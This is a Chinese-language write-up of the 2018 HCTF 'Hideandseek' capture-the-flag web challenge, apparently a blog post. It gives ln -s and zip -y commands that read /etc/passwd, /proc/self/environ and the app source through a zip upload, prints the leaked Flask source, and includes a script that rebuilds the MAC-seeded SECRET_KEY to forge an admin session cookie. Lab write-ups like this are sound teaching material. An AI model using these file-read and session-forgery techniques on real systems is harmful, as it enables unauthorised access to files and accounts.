2018HCTF-Hideandseek

开局:


然后随便填写后登录,注意用户名不能是admin

提示需要身份绕过

登录之后,提醒需要提交zip压缩文件,将1.txt进行压缩,提交,回显的是里面的内容

可能是有文件读取,我们可以创建一个软链接,将其指向服务器上的文件

在linux环境下执行
ln -s /etc/passwd passwd
zip -y passwd.zip passwd

将生成的passwd.zip进行上传,可以得到回显:

接着读取/proc/self/environ

ln -s /proc/self/environ en
zip -y en.zip en

提交后得到:

KUBERNETES_PORT=tcp://10.240.0.1:443KUBERNETES_SERVICE_PORT=443HOSTNAME=outSHLVL=1PYTHON_PIP_VERSION=19.1.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/uwsgi.iniWERKZEUG_SERVER_FD=3NGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/static_=/usr/local/bin/pythonUWSGI_CHEAPER=2WERKZEUG_RUN_MAIN=trueNGINX_VERSION=1.15.8-1~stretchKUBERNETES_PORT_443_TCP_ADDR=10.240.0.1PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.15.8.0.2.7-1~stretchKUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_PROTO=tcpLANG=C.UTF-8PYTHON_VERSION=3.6.8KUBERNETES_SERVICE_PORT_HTTPS=443NGINX_WORKER_PROCESSES=1KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443LISTEN_PORT=80STATIC_INDEX=0PWD=/appKUBERNETES_SERVICE_HOST=10.240.0.1PYTHONPATH=/appSTATIC_PATH=/app/staticFLAG=not_flag

提到了:

UWSGI_INI=/app/uwsgi.ini

uwsgi是一个web服务器,WSGI是一个web服务器网关接口,它是一个web服务器(如nginx、uWSGI等服务器)与web应用(如flask写的程序)通信的一种规范
接下来读取/app/uwsgi.ini

ln -s /app/uwsgi.ini us
zip -y us.zip us

得到:

[uwsgi] module = main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

emmm感觉没多大作用。。。

读取源码 /app/main.py

ln -s /app/main.py main
zip -y main.zip main


emmm没啥用

可能是

ln -s app.py app
zip -y app.zip app

× 文件名不是这个

https://blog.csdn.net/rabcdxb/article/details/119654409

可能是buuoj的环境有点问题,/app/uwsgi.ini回显中应该是:

module=/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

读取该文件即可得到源文件

ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py source
zip -y source.zip source

上传source.zip后得到源码:

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

有了源码,就要根据源码伪造admin的session了,而session构造需要SECRET_KEY,而他是通过设置伪随机数种子生成的

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

这里的随机数种子是uuid.getnode()
这个的意思是获取硬件的地址并以48位二进制长度的正整数形式返回,这里的硬件地址是指mac地址
接下来获取Mac地址

ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac

得到:

c6:ec:32:84:fc:12

获取SECRET_KEY:

import uuid
import random

mac = "c6:ec:32:84:fc:12"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
print(mac)#将mac转为十进制

random.seed(mac)
print(random.random()*100)#由转化后的mac得到伪随机数种子

解密session:

flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6ImFhIn0.Gc50nQ.jaURTMtLuUo1mD4ppHGcspAUO58"

得到:

{'username': 'aa'}
93.03388246307372
{'username': 'admin'}

python3 flask_session_cookie_manager3.py encode -s '93.03388246307372' -t "{'username': 'admin'}"

得到:

eyJ1c2VybmFtZSI6ImFkbWluIn0.ZuzmmQ.ziEKw14uJkCu1l-HhJYxQez3cyY

替换后即可得到flag:

posted @ 2024-10-14 14:43  starme  阅读(3)  评论(0编辑  收藏  举报